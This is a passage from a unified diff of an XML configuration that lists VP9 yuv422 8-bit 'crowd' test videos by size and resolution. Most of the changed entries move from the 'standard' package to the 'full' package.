+    <value>mime=video/x-vnd.on2.vp9,size=229273,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_16x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=6292,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=6292,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_16x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=421568,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=421568,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_16x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=122212,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=122212,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_172x172p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19977,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19977,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_176x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21041,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21041,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_176x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22542,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22542,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x1080p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344844,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344844,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x1088p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=346296,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=346296,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x1280p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=393217,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=393217,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x1440p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=437711,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=437711,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18158,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18158,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x1920p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=579219,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=579219,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x2560p50f32_9800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=883481,width=1920,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_1920x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16358,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16358,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_192x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21103,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21103,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_192x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21103,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21103,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_192x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19570,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19570,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_192x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18695,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18695,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_192x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18598,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18598,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2048x1152p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=382215,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=382215,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2048x1536p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=493194,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=493194,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2048x2048p50f32_8300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=658269,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=658269,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2160x3840p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1522302,width=2160,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_216x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18300,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18300,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2304x4096p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1730987,width=2304,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_240x160p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19454,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19454,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_240x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18483,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18483,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_240x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16313,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16313,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_240x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16362,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16362,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_24x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=15240,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=15240,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2560x1440p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=580553,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=580553,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2560x1920p50f32_9800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=776630,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=776630,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2560x2560p50f32_13100kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1199127,width=2560,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -35955,34 +35955,34 @@
     <value>mime=video/x-vnd.on2.vp9,size=1805174,width=2560,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_256x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19549,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19549,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_256x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18745,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18745,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_256x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18125,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18125,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_264x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16431,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16431,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_2880x3840p50f32_22100kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2085880,width=2880,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_288x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18447,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18447,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_288x216p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18095,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18095,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_288x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17078,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17078,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_288x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16636,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16636,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_288x512p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18847,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18847,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_3072x4096p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2262108,width=3072,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -35991,61 +35991,61 @@
     <value>mime=video/x-vnd.on2.vp9,size=2282339,width=3120,height=4160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_320x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17265,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17265,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_320x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16472,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16472,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_320x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24563,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24563,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_32x24p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=14537,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=14537,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_32x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16103,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16103,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_350x350p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17228,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17228,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_352x264p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16559,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16559,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_352x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16539,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16539,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_352x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17305,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17305,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_356x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66453,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66453,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_356x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66636,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66636,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_358x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66637,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66637,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_358x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66664,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66664,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_360x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16746,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16746,width=360,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_360x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18084,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18084,width=360,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_360x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25068,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25068,width=360,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_360x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66941,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66941,width=360,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_360x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=66543,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=66543,width=360,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_360x640p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32431,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32431,width=360,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_3840x2160p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1305720,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36060,7 +36060,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=2279108,width=3840,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_384x512p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26369,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26369,width=384,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_4096x2304p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1769240,width=4096,height=2304,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36084,148 +36084,148 @@
     <value>mime=video/x-vnd.on2.vp9,size=2647992,width=4608,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_472x472p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32484,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32484,width=472,height=472,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_480x320p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24473,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24473,width=480,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_480x360p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25326,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25326,width=480,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_480x480p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32772,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32772,width=480,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_480x640p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48041,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48041,width=480,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_480x720p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48551,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48551,width=480,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_480x848p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64283,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64283,width=480,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_48x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21193,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21193,width=48,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_512x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19029,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19029,width=512,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_512x384p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26383,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=26383,width=512,height=384,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_512x512p50f32_500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40540,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40540,width=512,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_528x704p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=56398,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=56398,width=528,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_5760x7680p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2712462,width=5760,height=7680,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_576x1024p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88372,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88372,width=576,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_576x704p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=64179,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=64179,width=576,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_576x720p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63868,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63868,width=576,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_600x800p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72233,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72233,width=600,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_6144x8192p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2713151,width=6144,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_636x358p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75047,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75047,width=636,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_636x360p50f32_800kbps.webm">
